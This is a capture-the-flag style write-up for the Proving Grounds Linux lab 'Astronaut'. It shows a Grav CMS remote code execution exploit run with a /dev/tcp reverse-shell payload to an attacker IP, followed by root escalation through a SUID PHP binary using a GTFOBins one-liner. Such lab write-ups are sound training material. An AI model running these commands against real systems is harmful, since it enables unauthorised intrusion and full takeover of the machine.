# Astronaut

**Source**: Proving Grounds\
**OS**: Linux\
**Community Rating**: Intermediate

## Enumeration & Reconnaissance

* I started with autorecon as usual, which revealed two open ports on the target:
  * **SSH (22)**
  * **HTTP (80)**

## Service Analysis

* Browsing to the HTTP service led me to a Grav CMS admin interface (grav-admin).&#x20;

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FC1AR2BzDSPWV4s0lTwML%2Fimage.png?alt=media&#x26;token=a1b919ea-9f97-4232-926c-523cbdf6988e" alt="" width="375"><figcaption><p>grav-admin</p></figcaption></figure>

* I checked the robots.txt file, which listed multiple directories, but after checking them all, they led nowhere.&#x20;

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FigGFxxdOaNqniaNHtpNe%2Fimage.png?alt=media&#x26;token=3e17c1a8-ac09-4943-af3c-c61ab947abbb" alt="" width="375"><figcaption><p>robots.txt</p></figcaption></figure>

* I also discovered a login page for the admin. However, default credentials didn’t work, and I noticed that accounts lock after several failed attempts, so bruteforcing wasn’t an option.

## Gaining Initial Access

* After some research, I found multiple CVEs for Grav. One of which allowed for remote code execution (RCE). I found a PoC and tried it.&#x20;
* Initially, my attempts failed when I included a trailing “/” at the end of the target URL. Once I removed the trailing slash, the exploit worked. For instance, while this command:

{% code overflow="wrap" fullWidth="true" %}
```bash
python cve_2.py -c "sh -i >& /dev/tcp/192.168.45.221/9999 0>&1" -t http://192.168.128.12/grav-admin/
```
{% endcode %}

didn’t work, this one did the trick:

{% code overflow="wrap" fullWidth="true" %}
```bash
python cve_2.py -c "sh -i >& /dev/tcp/192.168.45.221/9999 0>&1" -t http://192.168.128.12/grav-admin
```
{% endcode %}

This allowed me to get a reverse shell on the target.

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FUPmdk0VagbpQy9obXIdI%2Fimage.png?alt=media&#x26;token=13154374-b6fa-465f-aebe-3d2e950e32a5" alt=""><figcaption><p>Gaining Access</p></figcaption></figure>

## Privilege Escalation

* Once I had shell access, I ran linpeas.sh to identify further avenues for privilege escalation.&#x20;
* The scan revealed a cron job that executed every minute, running a PHP script. I attempted to inject into this PHP script, but soon realized the file was owned by **www-data**, meaning the shell remained at the same privilege level.

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2F8K1hLTtRbisHGKr7QYU5%2Fimage.png?alt=media&#x26;token=95584270-d50f-4293-8d0e-e6173946ea8f" alt=""><figcaption><p>Cron Job Attempt</p></figcaption></figure>

* Continuing my search, I ran to look for SUID binaries:

{% code overflow="wrap" fullWidth="true" %}
```bash
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
```
{% endcode %}

* This command revealed that PHP itself had the SUID bit set. Checking gtfobins provided me with the code required to exploit this. I then executed the command to escalate privileges to root:

{% code overflow="wrap" fullWidth="true" %}
```bash
php -r "pcntl_exec('/bin/sh', ['-p']);"
```
{% endcode %}

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FoZFXTwZ0YNFY172Bv1A4%2Fimage.png?alt=media&#x26;token=e8245098-1436-4997-ab60-b6e1d6c85c99" alt=""><figcaption><p>Privilege Escalation</p></figcaption></figure>

## Lessons Learned

* **Exploit Error:** A subtle difference in the target URL (with or without a trailing slash) can make or break an exploit.
* **SUID Misconfiguration:** Misconfigured SUID permissions on PHP was the way for privilege escalation.
